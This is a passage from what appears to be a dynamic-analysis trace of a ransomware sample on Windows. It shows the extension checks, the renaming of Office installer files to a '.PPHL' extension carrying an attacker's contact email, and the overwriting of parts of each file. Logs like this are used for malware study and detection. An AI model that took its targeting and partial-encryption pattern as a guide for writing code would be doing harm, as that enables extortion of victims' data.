Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString=".dbf") returned 4 [0071.152] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.152] lstrlenW (lpString=".1cd") returned 4 [0071.152] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.152] lstrlenW (lpString=".jpg") returned 4 [0071.152] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.152] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0071.152] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0071.152] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0071.152] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=3124224) returned 1 [0071.152] CloseHandle (hObject=0x204) returned 1 [0071.152] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0071.152] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.153] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0071.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0071.153] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0071.153] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.153] ReadFile (in: hFile=0x204, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.322] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.322] ReadFile (in: hFile=0x204, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.455] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.455] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.455] ReadFile (in: hFile=0x204, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.531] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.531] WriteFile (in: hFile=0x204, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0071.817] SetEndOfFile (hFile=0x204) returned 1 [0071.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0072.050] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.050] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.052] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.052] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.057] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.057] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.059] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0072.059] CloseHandle (hObject=0x204) returned 1 [0072.059] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0072.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.060] lstrlenW (lpString=".doc") returned 4 [0072.060] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0072.060] lstrlenW (lpString=".docx") returned 5 [0072.060] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0072.060] lstrlenW (lpString=".pdf") returned 4 [0072.060] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0072.060] lstrlenW (lpString=".xls") returned 4 [0072.060] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0072.060] lstrlenW (lpString=".xlsx") returned 5 [0072.060] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0072.060] lstrlenW (lpString=".ppt") returned 4 [0072.060] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0072.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.060] lstrlenW (lpString=".zip") returned 4 [0072.060] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0072.060] lstrlenW (lpString=".rar") returned 4 [0072.060] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0072.060] lstrlenW (lpString=".bz2") returned 4 [0072.060] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0072.060] lstrlenW (lpString=".7z") returned 3 [0072.060] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0072.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.060] lstrlenW (lpString=".dbf") returned 4 [0072.060] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0072.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.060] lstrlenW (lpString=".1cd") returned 4 [0072.061] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.061] lstrlenW (lpString=".jpg") returned 4 [0072.061] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.061] lstrlenW (lpString=".doc") returned 4 [0072.061] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0072.061] lstrlenW (lpString=".docx") returned 5 [0072.061] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0072.061] lstrlenW (lpString=".pdf") returned 4 [0072.061] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0072.061] lstrlenW (lpString=".xls") returned 4 [0072.061] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0072.061] lstrlenW (lpString=".xlsx") returned 5 [0072.061] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0072.061] lstrlenW (lpString=".ppt") returned 4 [0072.061] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.061] lstrlenW (lpString=".zip") returned 4 [0072.061] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0072.061] lstrlenW (lpString=".rar") returned 4 [0072.061] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0072.061] lstrlenW (lpString=".bz2") returned 4 [0072.061] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0072.061] lstrlenW (lpString=".7z") returned 3 [0072.061] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.061] lstrlenW (lpString=".dbf") returned 4 [0072.061] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.061] lstrlenW (lpString=".1cd") returned 4 [0072.061] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0072.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0072.062] lstrlenW (lpString=".jpg") returned 4 [0072.062] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0072.062] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0072.062] lstrlenW (lpString="VisioLR.cab") returned 11 [0072.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0072.062] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=50823389) returned 1 [0072.062] CloseHandle (hObject=0x204) returned 1 [0072.062] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0072.062] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0072.062] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0072.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0072.063] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0072.063] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.063] ReadFile (in: hFile=0x204, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.821] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.821] ReadFile (in: hFile=0x204, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.926] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0072.926] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.926] ReadFile (in: hFile=0x204, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.980] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.980] WriteFile (in: hFile=0x204, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0072.997] SetEndOfFile (hFile=0x204) returned 1 [0072.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0072.997] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.997] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.998] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.998] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.999] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.999] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0073.001] CloseHandle (hObject=0x204) returned 1 [0073.001] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0073.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.001] lstrlenW (lpString=".doc") returned 4 [0073.001] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.001] lstrlenW (lpString=".docx") returned 5 [0073.002] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.002] lstrlenW (lpString=".pdf") returned 4 [0073.002] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString=".xls") returned 4 [0073.002] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString=".xlsx") returned 5 [0073.002] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.002] lstrlenW (lpString=".ppt") returned 4 [0073.002] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.002] lstrlenW (lpString=".zip") returned 4 [0073.002] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString=".rar") returned 4 [0073.002] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString=".bz2") returned 4 [0073.002] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.002] lstrlenW (lpString=".7z") returned 3 [0073.002] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.002] lstrlenW (lpString=".dbf") returned 4 [0073.002] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.002] lstrlenW (lpString=".1cd") returned 4 [0073.002] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.002] lstrlenW (lpString=".jpg") returned 4 [0073.002] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.002] lstrlenW (lpString=".doc") returned 4 [0073.002] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString=".docx") returned 5 [0073.003] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.003] lstrlenW (lpString=".pdf") returned 4 [0073.003] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString=".xls") returned 4 [0073.003] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString=".xlsx") returned 5 [0073.003] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.003] lstrlenW (lpString=".ppt") returned 4 [0073.003] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.003] lstrlenW (lpString=".zip") returned 4 [0073.003] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString=".rar") returned 4 [0073.003] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString=".bz2") returned 4 [0073.003] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.003] lstrlenW (lpString=".7z") returned 3 [0073.003] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.003] lstrlenW (lpString=".dbf") returned 4 [0073.003] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.003] lstrlenW (lpString=".1cd") returned 4 [0073.003] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0073.003] lstrlenW (lpString=".jpg") returned 4 [0073.003] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.090] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0073.090] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0073.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0073.091] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=2503680) returned 1 [0073.091] CloseHandle (hObject=0x1b0) returned 1 [0073.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0073.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.091] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0073.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0073.091] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0073.092] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.092] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.259] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.259] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.311] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.311] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.311] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.330] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.330] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, 